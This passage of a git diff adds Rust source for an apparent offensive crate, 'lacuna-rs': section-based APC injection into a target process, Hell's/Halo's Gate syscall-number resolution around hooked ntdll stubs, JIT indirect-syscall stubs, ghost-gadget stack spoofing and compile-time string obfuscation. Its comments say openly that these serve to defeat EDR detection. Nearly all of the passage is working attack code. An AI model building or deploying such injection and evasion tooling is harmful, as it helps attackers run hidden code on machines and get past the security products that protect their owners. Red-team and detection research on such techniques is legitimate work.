verbose { + eprintln!("{}{:08x}", lc!("[*] unmap returned "), unmap_status); + } + + eprintln!("{}", lc!("[*] closing section...")); + unsafe { close_handle(&sc, h_sec) }; + + // -- Select best threads for APC (scored, top-N) -- + eprintln!("{}", lc!("[*] scanning threads for APC candidates...")); + let candidates = find_active_apc_threads(pid, MAX_APC_THREADS, ntdll); + + if candidates.is_empty() { + eprintln!("{}", lc!("[-] no suitable thread candidates found")); + unsafe { close_handle(&sc, h_proc) }; + return Err(0xC000_0022u32 as i32); + } + + eprintln!("{}{}{}", lc!("[+] found "), candidates.len(), lc!(" candidate thread(s)")); + + let open_thr: PNtOpenThread = unsafe { core::mem::transmute(sc.open_thr.as_fn()) }; + let queue_apc: PNtQueueApcThread = unsafe { core::mem::transmute(sc.queue_apc.as_fn()) }; + let alert_thr: PNtAlertThread = unsafe { core::mem::transmute(sc.alert_thr.as_fn()) }; + + let mut queued = 0; + for c in &candidates { + let tcid = CID { UniqueProcess: pid as HANDLE, UniqueThread: c.tid as HANDLE }; + let mut toa = OBJECT_ATTRIBUTES::default(); + let mut ht: HANDLE = ptr::null_mut(); + + #[cfg(feature = "veh")] + crate::veh::pcrypt_arm(0, sc.srs[4], true); + + let ts = unsafe { + open_thr(&mut ht as *mut _ as win::PHANDLE, + THREAD_SET_CONTEXT | THREAD_ALERT, + &mut toa as *mut _ as *mut OBJECT_ATTRIBUTES, + &tcid as *const _ as *mut CLIENT_ID) + }; + if nt_ok(ts) { + #[cfg(feature = "veh")] + crate::veh::pcrypt_arm(0, sc.srs[5], true); + + let ts = unsafe { queue_apc(ht, remote_base, remote_base, ptr::null_mut(), ptr::null_mut()) }; + if nt_ok(ts) { + eprintln!("{}{}", lc!("[+] apc tid "), c.tid); + #[cfg(feature = "veh")] + crate::veh::pcrypt_arm(0, sc.srs[6], true); + let _ = unsafe { alert_thr(ht) }; + queued += 1; + } + unsafe { close_handle(&sc, ht) }; + } + } + + if queued == 0 { + eprintln!("{}", lc!("[-] no threads took the APC")); + unsafe { close_handle(&sc, h_proc) }; + return Err(0xC000_0022u32 as i32); + } + eprintln!("{}{}{}", lc!("[+] queued to "), queued, lc!(" thread(s)")); + + // -- Drain ETW-Ti APCs -- + #[cfg(feature = "stack-spoof")] + { + #[cfg(feature = "veh")] + crate::veh::pcrypt_disarm(); + + eprintln!("{}", lc!("[*] entering alertable wait to drain APCs...")); + let mut drain: LARGE_INTEGER = -100_000; + unsafe { NtDelayExecution(1, &mut drain) }; + eprintln!("{}", lc!("[*] APC drain complete, restoring stack...")); + crate::chain::stomp_restore(); + } + + #[cfg(feature = "veh")] + crate::veh::pcrypt_disarm(); + + unsafe { close_handle(&sc, h_proc) }; + Ok(()) +} + +#[inline] +unsafe fn close_handle(sc: &Syscalls, h: HANDLE) { + let nt_close: PNtClose = core::mem::transmute(sc.nt_close.as_fn()); + let _ = nt_close(h); +} \ No newline at end of file diff --git a/src/lib.rs b/src/lib.rs new file mode 100644 index 0000000..ce3c1b6 --- /dev/null +++ b/src/lib.rs @@ -0,0 +1,177 @@ +// +// lib.rs — lacuna-rs crate root +// +// LACUNA Chain ported to a reusable Rust crate. +// +// This crate provides the same primitives as the original `lacuna_chain.c`: +// +// * PE parsing (section lookup, export resolution) +// * .pdata ghost-region scanning (executable code with no +// RUNTIME_FUNCTION coverage) +// * SSN resolution + per-function `syscall;ret` targeting +// * JIT indirect-syscall stub emission (with optional ghost-gadget +// redirect) +// * LACUNA ghost-frame chain construction + stack stomp +// * Vectored exception handlers for parameter encryption and +// return-address spoofing +// * Section-based APC injection (NtCreateSection + MapView×2) +// +// ## Feature flags +// +// * `inject` — enable `inject::inject_sapc`. +// * `stack-spoof`— enable `chain` module (ghost-frame chain + stomp). +// Requires frame pointers; see `build.rs`. +// * `veh` — enable `veh` module (hardware-breakpoint parameter +// encryption + return-address spoofing). +// +// When no features are enabled, only the scanning/PE/NT layers are +// available — useful for reconnaissance without pulling in the +// offensive primitives. +// + +#![allow(dead_code)] +#![allow(non_snake_case)] +#![allow(non_upper_case_globals)] + +// ── litcrypt2 string obfuscation ───────────────────────────────────────────── +// Encrypts string literals at compile time; they are decrypted at runtime +// inside the `lc!()` macro. The encryption key is read from the +// `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2 +// auto-generates a random key at compile time. +#[macro_use] +extern crate litcrypt2; +// litcrypt2's `use_litcrypt!()` macro expands to code that references +// `alloc::vec::Vec` and `alloc::string::String`, so we link the `alloc` +// crate explicitly. +extern crate alloc; +use_litcrypt!(); + +// ── Module wiring ──────────────────────────────────────────────────────────── + +pub mod win; +pub mod pe; +pub mod scan; +pub mod nt; +pub mod stub; + +#[cfg(feature = "veh")] +pub mod veh; + +#[cfg(feature = "stack-spoof")] +pub mod chain; + +#[cfg(feature = "inject")] +pub mod inject; + +// ── Crate-level re-exports ─────────────────────────────────────────────────── + +pub use win::nt_ok; + +// ── Version ────────────────────────────────────────────────────────────────── + +pub const VERSION: &str = env!("CARGO_PKG_VERSION"); + +// ── Convenience: one-shot scan ─────────────────────────────────────────────── + +/// Scan all four target modules (ntdll, kernelbase, wow64, win32u) for +/// ghost regions and gadgets, returning a summary. +/// +/// This is the Rust analogue of the C `do_scan()` function. +pub fn scan_all() -> ScanSummary { + let modules: &[(&[u8], &[&[u8]])] = &[ + ( + b"ntdll.dll\0", + &[ + b"NtAllocateVirtualMemory\0", + b"NtCreateThreadEx\0", + b"RtlCreateUserThread\0", + b"LdrLoadDll\0", + b"RtlUserThreadStart\0", + ], + ), + ( + b"kernelbase.dll\0", + &[ + b"VirtualProtect\0", + b"VirtualAllocEx\0", + b"WriteProcessMemory\0", + b"CreateRemoteThreadEx\0", + ], + ), + ( + b"wow64.dll\0", + &[ + b"Wow64PrepareForException\0", + b"Wow64KiUserCallbackDispatcher\0", + b"Wow64ApcRoutine\0", + ], + ), + ( + b"win32u.dll\0", + &[ + b"NtGdiDdDDICreateDevice\0", + b"NtUserCallNoParam\0", + ], + ), + ]; + + let mut summary = ScanSummary::default(); + + for &(mod_name, targets) in modules { + let m = win::get_module(mod_name); + if m.is_null() { + continue; + } + let mut buf = [scan::Ghost { + va_start: 0, + va_end: 0, + size: 0, + export_va: 0, + dist: 0, + name: [0; 64], + }; 512]; + let n = scan::scan_ghosts(m, targets, &mut buf); + + let mut gg = [scan::GhostGadget { va: 0, parent: [0; 64] }; 32]; + let ngg = scan::scan_ghost_gadgets(&buf[..n], mod_name, &mut gg); + + summary.modules.push(ScanModule { + name: trim_cstr(mod_name).to_string(), + ghost_count: n, + gadget_count: ngg, + first_ghost: if n > 0 { + Some((buf[0].va_start, buf[0].va_end, buf[0].size)) + } else { + None + }, + win32u_nop_gap: if mod_name.starts_with(b"win32u") { + scan::win32u_nop_gap(m) + } else { + 0 + }, + }); + } + + summary +} + +/// Trim a NUL-terminated byte slice to the bytes before the first NUL. +fn trim_cstr(s: &[u8]) -> &str { + let n = s.iter().position(|&b| b == 0).unwrap_or(s.len()); + core::str::from_utf8(&s[..n]).unwrap_or("?") +} + +// ── Scan summary types ─────────────────────────────────────────────────────── + +#[derive(Default)] +pub struct ScanSummary { + pub modules: Vec, +} + +pub struct ScanModule { + pub name: String, + pub ghost_count: usize, + pub gadget_count: usize, + pub first_ghost: Option<(u64, u64, u32)>, + pub win32u_nop_gap: u64, +} \ No newline at end of file diff --git a/src/nt.rs b/src/nt.rs new file mode 100644 index 0000000..cac5df0 --- /dev/null +++ b/src/nt.rs @@ -0,0 +1,90 @@ +// +// nt.rs — SSN resolution and syscall;ret gadget location for lacuna-rs +// +// Ported from lacuna_chain.c: +// resolve_ssn(), find_func_syscall(). +// +// This is the "better syscalls-rs" layer: instead of a build-script-generated +// SSN table that goes stale across Windows builds, we read the SSN straight +// out of ntdll's stub at runtime, and we target the *function's own* +// `syscall; ret` instruction so RIP is inside ntdll at kernel entry — +// defeating the EDR "SSN mismatch" heuristic that fixed-table indirect +// syscall crates can trip. +// + +#![allow(dead_code)] + +use crate::pe; +use crate::win::{HMODULE, ULONG64, DWORD}; + +/// Sentinel returned when SSN resolution fails. +pub const SSN_INVALID: DWORD = 0xFFFF_FFFF; + +/// Read the SSN from an ntdll syscall stub. +/// +/// A clean (unhooked) stub looks like: +/// 4C 8B D1 mov r10, rcx +/// B8 xx xx 00 00 mov eax, +/// ... +/// +/// If the stub is hooked (the `mov r10, rcx` / `mov eax, imm32` prologue is +/// missing), we scan ±10 adjacent stubs (32 bytes apart) and adjust the SSN +/// by the stub offset — the classic Hell's Gate / Halo's Gate technique. +/// +/// Ported from resolve_ssn(). +pub fn resolve_ssn(ntdll: HMODULE, fn_name: &[u8]) -> DWORD { + let p = pe::export_va(ntdll, fn_name) as *const u8; + if p.is_null() { + return SSN_INVALID; + } + unsafe { + // Clean stub? SSN is the imm32 at offset +4 (after 4C 8B D1 B8). + if *p == 0x4C && *p.add(1) == 0x8B && *p.add(2) == 0xD1 && *p.add(3) == 0xB8 { + return *(p.add(4) as *const DWORD); + } + // Hooked — scan neighbours. + for d in 1..=10usize { + // p - d*32 + let u = p.offset((d * 32) as isize * -1); + if *u == 0x4C && *u.add(1) == 0x8B && *u.add(2) == 0xD1 && *u.add(3) == 0xB8 { + return *(u.add(4) as *const DWORD) + d as DWORD; + } + // p + d*32 + let dn = p.add(d * 32); + if *dn == 0x4C && *dn.add(1) == 0x8B && *dn.add(2) == 0xD1 && *dn.add(3) == 0xB8 { + return *(dn.add(4) as *const DWORD) - d as DWORD; + } + } + } + SSN_INVALID +} + +/// Find the `syscall; ret` (`0F 05 C3`) sequence inside a specific ntdll +/// function. Returns the absolute VA, or 0 if not found within 32 bytes +/// of the function start. +/// +/// Per-function targeting: RIP lands at the function's OWN syscall +/// instruction, so the SSN matches the function name — no EDR mismatch +/// heuristic can fire. +/// +/// Ported from find_func_syscall(). +pub fn find_func_syscall(ntdll: HMODULE, fn_name: &[u8]) -> ULONG64 { + let p = pe::export_va(ntdll, fn_name) as *const u8; + if p.is_null() { + return 0; + } + unsafe { + for i in 0..32 { + if *p.add(i) == 0x0F && *p.add(i + 1) == 0x05 && *p.add(i + 2) == 0xC3 { + return p.add(i) as ULONG64; + } + } + } + 0 +} + +/// Resolve both the SSN and the function's own `syscall; ret` VA in one +/// call — the pair needed by `stub::make_stub()`. +pub fn resolve(ntdll: HMODULE, fn_name: &[u8]) -> (DWORD, ULONG64) { + (resolve_ssn(ntdll, fn_name), find_func_syscall(ntdll, fn_name)) +} \ No newline at end of file diff --git a/src/pe.rs b/src/pe.rs new file mode 100644 index 0000000..5544abc --- /dev/null +++ b/src/pe.rs @@ -0,0 +1,275 @@ +// +// pe.rs — PE parsing helpers for lacuna-rs +// +// Ported from lacuna_chain.c: pe_section(), pe_export(). +// +// These operate on a loaded module base (HMODULE) and read the in-memory PE +// structures directly. No file I/O, no allocations. +// + +#![allow(dead_code)] + +use crate::win::{HMODULE, ULONG, ULONG64, WORD, DWORD}; + + +// ── PE structures (minimal subset) ─────────────────────────────────────────── + +#[repr(C)] +pub struct IMAGE_DOS_HEADER { + pub e_magic: u16, + pub e_cblp: u16, + pub e_cp: u16, + pub e_crlc: u16, + pub e_cparhdr: u16, + pub e_minalloc: u16, + pub e_maxalloc: u16, + pub e_ss: u16, + pub e_sp: u16, + pub e_csum: u16, + pub e_ip: u16, + pub e_cs: u16, + pub e_lfarlc: u16, + pub e_ovno: u16, + pub e_res: [u16; 4], + pub e_oemid: u16, + pub e_oeminfo: u16, + pub e_res2: [u16; 10], + pub e_lfanew: i32, +} + +#[repr(C)] +pub struct IMAGE_FILE_HEADER { + pub Machine: WORD, + pub NumberOfSections: WORD, + pub TimeDateStamp: DWORD, + pub PointerToSymbolTable: DWORD, + pub NumberOfSymbols: DWORD, + pub SizeOfOptionalHeader: WORD, + pub Characteristics: WORD, +} + +#[repr(C)] +pub struct IMAGE_DATA_DIRECTORY { + pub VirtualAddress: DWORD, + pub Size: DWORD, +} + +pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0; +pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION: usize = 3; + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER64 { + pub Magic: WORD, + pub MajorLinkerVersion: u8, + pub MinorLinkerVersion: u8, + pub SizeOfCode: DWORD, + pub SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub ImageBase: u64, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: u64, + pub SizeOfStackCommit: u64, + pub SizeOfHeapReserve: u64, + pub SizeOfHeapCommit: u64, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_NT_HEADERS64 { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, +} + +#[repr(C)] +pub struct IMAGE_SECTION_HEADER { + pub Name: [u8; 8], + pub Misc: IMAGE_SECTION_MISC, + pub VirtualAddress: DWORD, + pub SizeOfRawData: DWORD, + pub PointerToRawData: DWORD, + pub PointerToRelocations: DWORD, + pub PointerToLinenumbers: DWORD, + pub NumberOfRelocations: WORD, + pub NumberOfLinenumbers: WORD, + pub Characteristics: DWORD, +} + +#[repr(C)] +pub union IMAGE_SECTION_MISC { + pub PhysicalAddress: DWORD, + pub VirtualSize: DWORD, +} + +#[repr(C)] +pub struct IMAGE_EXPORT_DIRECTORY { + pub Characteristics: DWORD, + pub TimeDateStamp: DWORD, + pub MajorVersion: WORD, + pub MinorVersion: WORD, + pub Name: DWORD, + pub Base: DWORD, + pub NumberOfFunctions: DWORD, + pub NumberOfNames: DWORD, + pub AddressOfFunctions: DWORD, + pub AddressOfNames: DWORD, + pub AddressOfNameOrdinals: DWORD, +} + +pub const IMAGE_SCN_MEM_EXECUTE: DWORD = 0x2000_0000; + +// ── Helpers ────────────────────────────────────────────────────────────────── + +/// Cast a module base to a byte pointer. +#[inline] +fn base_bytes(mod_base: HMODULE) -> *const u8 { + mod_base as *const u8 +} + +/// Read the DOS header from a module base. +#[inline] +pub unsafe fn dos_header(base: HMODULE) -> *const IMAGE_DOS_HEADER { + base as *const IMAGE_DOS_HEADER +} + +/// Read the NT headers from a module base. +#[inline] +pub unsafe fn nt_headers(base: HMODULE) -> *const IMAGE_NT_HEADERS64 { + let b = base_bytes(base); + let dos = dos_header(base); + b.offset((*dos).e_lfanew as isize) as *const IMAGE_NT_HEADERS64 +} + +/// Pointer to the first section header. +#[inline] +pub unsafe fn first_section(nt: *const IMAGE_NT_HEADERS64) -> *const IMAGE_SECTION_HEADER { + let optional_end = (&(*nt).OptionalHeader) as *const _ as *const u8; + let opt_size = core::mem::size_of::(); + optional_end.add(opt_size) as *const IMAGE_SECTION_HEADER + // NOTE: this is equivalent to IMAGE_FIRST_SECTION(nt) — the section table + // immediately follows the optional header. +} + +// ── Public API (ported from C) ─────────────────────────────────────────────── + +/// Find a section by 8-byte name. Returns (virtual_address, virtual_size) +/// relative to the module base, or None. +/// +/// Ported from pe_section(). +pub fn section(mod_base: HMODULE, name: &[u8]) -> Option<(ULONG64, ULONG)> { + unsafe { + let b = base_bytes(mod_base); + let nt = nt_headers(mod_base); + let mut s = first_section(nt); + for _ in 0..(*nt).FileHeader.NumberOfSections { + let sec_name = &(*s).Name; + // Compare up to 8 bytes; name may or may not be NUL-terminated. + let n = name.len().min(8); + if sec_name[..n] == name[..n] { + let va = b.add((*s).VirtualAddress as usize) as ULONG64; + let sz = (*s).Misc.VirtualSize; + return Some((va, sz)); + } + s = s.add(1); + } + } + None +} + +/// Resolve an export by name. Returns the absolute VA, or 0 if not found. +/// +/// Ported from pe_export(). +pub fn export_va(mod_base: HMODULE, fname: &[u8]) -> ULONG64 { + unsafe { + let b = base_bytes(mod_base); + let nt = nt_headers(mod_base); + let erva = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if erva == 0 { + return 0; + } + let ed = b.add(erva as usize) as *const IMAGE_EXPORT_DIRECTORY; + let names = b.add((*ed).AddressOfNames as usize) as *const DWORD; + let ords = b.add((*ed).AddressOfNameOrdinals as usize) as *const WORD; + let funcs = b.add((*ed).AddressOfFunctions as usize) as *const DWORD; + + for i in 0..(*ed).NumberOfNames { + let name_rva = *names.add(i as usize); + let name_ptr = b.add(name_rva as usize); + // strcmp equivalent: compare NUL-terminated C string + if cstr_eq(name_ptr, fname) { + let ord = *ords.add(i as usize) as usize; + let func_rva = *funcs.add(ord); + return b.add(func_rva as usize) as ULONG64; + } + } + } + 0 +} + +/// Compare a NUL-terminated C string pointer against a Rust byte slice. +/// +/// Equivalent to `strcmp((char*)p, fname) == 0` in the C original. +/// Callers pass slices like `b"NtOpenProcess\0"` — the trailing NUL is +/// expected and handled correctly. +unsafe fn cstr_eq(p: *const u8, s: &[u8]) -> bool { + let mut i = 0; + loop { + let c = *p.add(i); + if c == 0 { + // C string ended — match if we are at/past end of s, + // or s[i] is also NUL (callers pass b"NtOpenProcess\0"). + return i >= s.len() || s[i] == 0; + } + if i >= s.len() { + return false; + } + if c != s[i] { + return false; + } + i += 1; + } +} + +/// Return the image's executable section range (first section with +/// IMAGE_SCN_MEM_EXECUTE), as (start_va, end_va) absolute. +/// +/// Used by the ghost scanner to bound gap searches to .text. +pub fn exec_range(mod_base: HMODULE) -> Option<(ULONG64, ULONG64)> { + unsafe { + let b = base_bytes(mod_base); + let nt = nt_headers(mod_base); + let mut s = first_section(nt); + for _ in 0..(*nt).FileHeader.NumberOfSections { + if (*s).Characteristics & IMAGE_SCN_MEM_EXECUTE != 0 { + let start = b.add((*s).VirtualAddress as usize) as ULONG64; + let end = start + (*s).Misc.VirtualSize as ULONG64; + return Some((start, end)); + } + s = s.add(1); + } + } + None +} + +/// SizeOfImage from the optional header — used to bound the "exe range" +/// scan in the parameter-encryption VEH. +pub fn size_of_image(mod_base: HMODULE) -> ULONG64 { + unsafe { (*nt_headers(mod_base)).OptionalHeader.SizeOfImage as ULONG64 } +} \ No newline at end of file diff --git a/src/scan.rs b/src/scan.rs new file mode 100644 index 0000000..db6a7e9 --- /dev/null +++ b/src/scan.rs @@ -0,0 +1,358 @@ +// +// scan.rs — .pdata ghost-region and gadget scanning for lacuna-rs +// +// Ported from lacuna_chain.c: +// scan_ghosts(), best_ghost(), win32u_nop_gap(), find_mf_target(), +// scan_ghost_gadgets(). +// +// A "ghost" is an executable code region with no .pdata RUNTIME_FUNCTION +// coverage. RtlVirtualUnwind treats such addresses as leaf frames and +// simply does RSP += 8 to find the next return address — this is the +// primitive that makes the LACUNA chain walkable. +// + +#![allow(dead_code)] + +use crate::pe; +use crate::win::{HMODULE, ULONG64, UINT}; +use crate::win::{DWORD, BYTE}; + +// ── Public data types ──────────────────────────────────────────────────────── + +/// A .pdata lacuna — executable code with no RUNTIME_FUNCTION coverage. +/// +/// Ported from `Ghost` in lacuna_chain.c. +#[derive(Clone, Copy)] +pub struct Ghost { + pub va_start: ULONG64, + pub va_end: ULONG64, + pub size: UINT, + pub export_va: ULONG64, + pub dist: UINT, + pub name: [u8; 64], +} + +impl Ghost { + pub fn name_str(&self) -> &[u8] { + let n = self.name.iter().position(|&b| b == 0).unwrap_or(self.name.len()); + &self.name[..n] + } +} + +/// A `JMP [RBX]` (`FF 23`) gadget found inside a ghost region. +/// +/// Ported from `GhostGadget` in lacuna_chain.c. +#[derive(Clone, Copy)] +pub struct GhostGadget { + pub va: ULONG64, + pub parent: [u8; 64], +} + +// ── RUNTIME_FUNCTION (alias of win::RUNTIME_FUNCTION) ──────────────────────── + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct Rf { + pub Begin: DWORD, + pub End: DWORD, + pub Unwind: DWORD, +} + +// ── Unwind info header + codes (for find_mf_target) ────────────────────────── + +#[repr(C, packed)] +#[derive(Clone, Copy)] +pub struct UH { + pub VF: BYTE, + pub Prolog: BYTE, + pub Count: BYTE, + pub Frame: BYTE, +} + +#[repr(C, packed)] +#[derive(Clone, Copy)] +pub struct UC { + pub Off: BYTE, + pub Op: BYTE, +} + +pub const UWOP_PUSH_MACHFRAME: u8 = 10; + +// ── win32u 8-byte NOP signature ────────────────────────────────────────────── + +pub const WIN32U_NOP8: [u8; 8] = [0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00]; + +// ── scan_ghosts ────────────────────────────────────────────────────────────── + +/// Scan a module's .pdata for gaps between RUNTIME_FUNCTION entries that +/// contain real (non-padding) code. +/// +/// For each gap, find the nearest target export and record the distance. +/// +/// Ported from scan_ghosts(). +pub fn scan_ghosts( + mod_base: HMODULE, + targets: &[&[u8]], + out: &mut [Ghost], +) -> usize { + // Locate .pdata. + let (pdata_va, pdata_sz) = match pe::section(mod_base, b".pdata") { + Some(x) => x, + None => return 0, + }; + + // Resolve target export VAs. + let mut tva: [ULONG64; 32] = [0; 32]; + let mut tname: [[u8; 64]; 32] = [[0; 64]; 32]; + let mut n_t = 0usize; + for &t in targets { + if n_t >= 32 { + break; + } + let v = pe::export_va(mod_base, t); + if v != 0 { + tva[n_t] = v; + let n = t.len().min(63); + tname[n_t][..n].copy_from_slice(&t[..n]); + n_t += 1; + } + } + + let rf = pdata_va as *const Rf; + let count = pdata_sz as usize / core::mem::size_of::(); + let img = mod_base as ULONG64; + let mut prev: ULONG64 = 0; + let mut found = 0usize; + + for i in 0..count { + if found >= out.len() { + break; + } + let cur = unsafe { &*rf.add(i) }; + if cur.Unwind == 0 { + continue; + } + let begin = img + cur.Begin as ULONG64; + let end = img + cur.End as ULONG64; + if prev != 0 && begin > prev { + let sz = (begin - prev) as UINT; + let gp = prev as *const u8; + let mut nonpad = 0u32; + let lim = (sz as usize).min(512); + for k in 0..lim { + let b = unsafe { *gp.add(k) }; + if b != 0xCC && b != 0x00 && b != 0x90 { + nonpad += 1; + } + } + if nonpad > 4 && sz >= 8 { + // nearest target export + let mut best = 0xFFFF_FFFFu32; + let mut bi = -1i32; + for j in 0..n_t { + let d = if tva[j] >= prev && tva[j] <= prev + sz as ULONG64 { + 0 + } else if tva[j] > prev + sz as ULONG64 { + (tva[j] - (prev + sz as ULONG64)) as u32 + } else { + (prev - tva[j]) as u32 + }; + if d < best { + best = d; + bi = j as i32; + } + } + let g = &mut out[found]; + g.va_start = prev; + g.va_end = prev + sz as ULONG64; + g.size = sz; + g.export_va = if bi >= 0 { tva[bi as usize] } else { 0 }; + g.dist = best; + g.name = [0; 64]; + if bi >= 0 { + let n = tname[bi as usize].iter().position(|&b| b == 0).unwrap_or(63); + g.name[..n].copy_from_slice(&tname[bi as usize][..n]); + } + found += 1; + } + } + prev = end; + } + found +} + +// ── best_ghost ─────────────────────────────────────────────────────────────── + +/// Find the ghost with the smallest distance whose name matches `target`. +/// +/// Ported from best_ghost(). +pub fn best_ghost<'a>(ghosts: &'a [Ghost], target: &[u8]) -> Option<&'a Ghost> { + let mut best: Option<&Ghost> = None; + let mut bd = 0xFFFF_FFFFu32; + for g in ghosts { + if g.name_str() == target && g.dist < bd { + bd = g.dist; + best = Some(g); + } + } + best +} + +// ── win32u_nop_gap ─────────────────────────────────────────────────────────── + +/// Find the first 4–16 byte NOP/padding gap between .pdata entries in win32u. +/// +/// Ported from win32u_nop_gap(). +pub fn win32u_nop_gap(mod_base: HMODULE) -> ULONG64 { + let (pdata_va, pdata_sz) = match pe::section(mod_base, b".pdata") { + Some(x) => x, + None => return 0, + }; + let rf = pdata_va as *const Rf; + let count = pdata_sz as usize / core::mem::size_of::(); + let img = mod_base as ULONG64; + let mut prev: ULONG64 = 0; + for i in 0..count { + let cur = unsafe { &*rf.add(i) }; + if cur.Unwind == 0 { + continue; + } + let begin = img + cur.Begin as ULONG64; + if prev != 0 && begin > prev { + let gap = (begin - prev) as u32; + if (4..=16).contains(&gap) { + let gp = prev as *const u8; + let ok = if gap == 8 { + let s = unsafe { core::slice::from_raw_parts(gp, 8) }; + s == WIN32U_NOP8 + } else { + let mut all_pad = true; + for k in 0..gap { + let b = unsafe { *gp.add(k as usize) }; + if b != 0x00 && b != 0xCC && b != 0x90 { + all_pad = false; + break; + } + } + all_pad + }; + if ok { + return prev; + } + } + } + prev = img + cur.End as ULONG64; + } + 0 +} + +// ── find_mf_target ─────────────────────────────────────────────────────────── + +/// Find a RUNTIME_FUNCTION whose unwind info contains UWOP_PUSH_MACHFRAME +/// at offset 0 — the BYOUD-MF anchor. Falls back to +/// KiUserExceptionDispatcher+4. +/// +/// Ported from find_mf_target(). +pub fn find_mf_target(ntdll: HMODULE) -> ULONG64 { + if let Some((pdata_va, pdata_sz)) = pe::section(ntdll, b".pdata") { + let rf = pdata_va as *const Rf; + let count = pdata_sz as usize / core::mem::size_of::(); + let img = ntdll as ULONG64; + for i in 0..count { + let cur = unsafe { &*rf.add(i) }; + if cur.Unwind == 0 { + continue; + } + let uh = (img + cur.Unwind as ULONG64) as *const UH; + let codes = (uh as *const u8).wrapping_add(4) as *const UC; + let cnt = unsafe { (*uh).Count }; + for j in 0..cnt as usize { + let c = unsafe { &*codes.add(j) }; + if (c.Op & 0xF) == UWOP_PUSH_MACHFRAME && c.Off == 0 { + return img + cur.Begin as ULONG64 + 4; + } + } + } + } + pe::export_va(ntdll, b"KiUserExceptionDispatcher\0") + 4 +} + +// ── scan_ghost_gadgets ─────────────────────────────────────────────────────── + +/// Scan ghost regions for `JMP [RBX]` (`FF 23`) instructions. +/// +/// Ported from scan_ghost_gadgets(). +pub fn scan_ghost_gadgets( + ghosts: &[Ghost], + mod_name: &[u8], + out: &mut [GhostGadget], +) -> usize { + let mut found = 0usize; + 'outer: for g in ghosts { + let p = g.va_start as *const u8; + let sz = g.size as usize; + for k in 0..sz.saturating_sub(1) { + let b0 = unsafe { *p.add(k) }; + let b1 = unsafe { *p.add(k + 1) }; + if b0 == 0xFF && b1 == 0x23 { + let gg = &mut out[found]; + gg.va = g.va_start + k as ULONG64; + gg.parent = [0; 64]; + let mn = mod_name.iter().position(|&b| b == 0).unwrap_or(mod_name.len()); + let _ = format_ghost_parent(&mut gg.parent, mod_name, mn, g.va_start); + found += 1; + if found >= out.len() { + break 'outer; + } + } + } + } + found +} + +/// Write `"{mod_name} ghost @{va:x}"` into a 64-byte buffer. +/// Returns the number of bytes written. +fn format_ghost_parent(buf: &mut [u8; 64], mod_name: &[u8], mn: usize, va: ULONG64) -> usize { + let mut w = 0usize; + // mod_name + if w + mn < 64 { + buf[w..w + mn].copy_from_slice(&mod_name[..mn]); + w += mn; + } + // " ghost @" + let suffix = b" ghost @"; + if w + suffix.len() < 64 { + buf[w..w + suffix.len()].copy_from_slice(suffix); + w += suffix.len(); + } + // hex va + let mut tmp = [0u8; 16]; + let hex_len = u64_to_hex(va, &mut tmp); + if w + hex_len < 64 { + buf[w..w + hex_len].copy_from_slice(&tmp[..hex_len]); + w += hex_len; + } + w +} + +/// Format a u64 as lowercase hex into `out`, returning the number of digits. +fn u64_to_hex(v: u64, out: &mut [u8; 16]) -> usize { + const HEX: &[u8; 16] = b"0123456789abcdef"; + if v == 0 { + out[0] = b'0'; + return 1; + } + let mut tmp = [0u8; 16]; + let mut n = 0usize; + let mut x = v; + while x != 0 { + tmp[n] = HEX[(x & 0xF) as usize]; + x >>= 4; + n += 1; + } + // reverse into out + for i in 0..n { + out[i] = tmp[n - 1 - i]; + } + n +} \ No newline at end of file diff --git a/src/stub.rs b/src/stub.rs new file mode 100644 index 0000000..e698bf6 --- /dev/null +++ b/src/stub.rs @@ -0,0 +1,146 @@ +// +// stub.rs — JIT indirect-syscall stub emission for lacuna-rs +// +// Ported from lacuna_chain.c: alloc_stub(). +// +// Two stub variants are emitted: +// +// 1. Ghost-gadget path (when g_ghost_gadget && func_sr): +// mov [rsp+8], rbx ; save callee-saved RBX +// mov r10, rcx ; Win64 syscall ABI +// mov eax, +// lea rbx, [rip+Y] ; &func_sr +// mov r11, [rsp] ; save real return addr +// mov [rsp+16], r11 ; stash it +// lea r11, [rip+W] ; &epilogue +// mov [rsp], r11 ; swap return addr -> epilogue +// jmp [rip+V] ; jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret +// ; epilogue: +// mov rbx, [rsp] ; restore RBX +// jmp [rsp+8] ; jmp to original return +// ; data: +// dq ghost_gadget +// dq func_sr +// +// 2. Direct path (no ghost gadget): +// mov r10, rcx +// mov eax, +// jmp [rip+0] ; jmp [func_sr] (if func_sr != 0) +// dq func_sr +// —or— +// mov r10, rcx +// mov eax, +// syscall ; (if func_sr == 0) +// ret +// + +#![allow(dead_code)] + +use crate::win::{ + self, DWORD, ULONG64, PVOID, DWORD as ULONG, + PAGE_EXECUTE_READ, PAGE_READWRITE, MEM_COMMIT, MEM_RESERVE, +}; +use core::ptr; + +pub struct Stub { + pub code: PVOID, +} + +impl Stub { + pub fn as_fn(&self) -> PVOID { + self.code + } +} + +impl Drop for Stub { + fn drop(&mut self) { + if !self.code.is_null() { + unsafe { + win::VirtualFree(self.code, 0, win::MEM_RELEASE); + } + } + } +} + +pub static G_GHOST_GADGET: core::sync::atomic::AtomicU64 = + core::sync::atomic::AtomicU64::new(0); +pub static 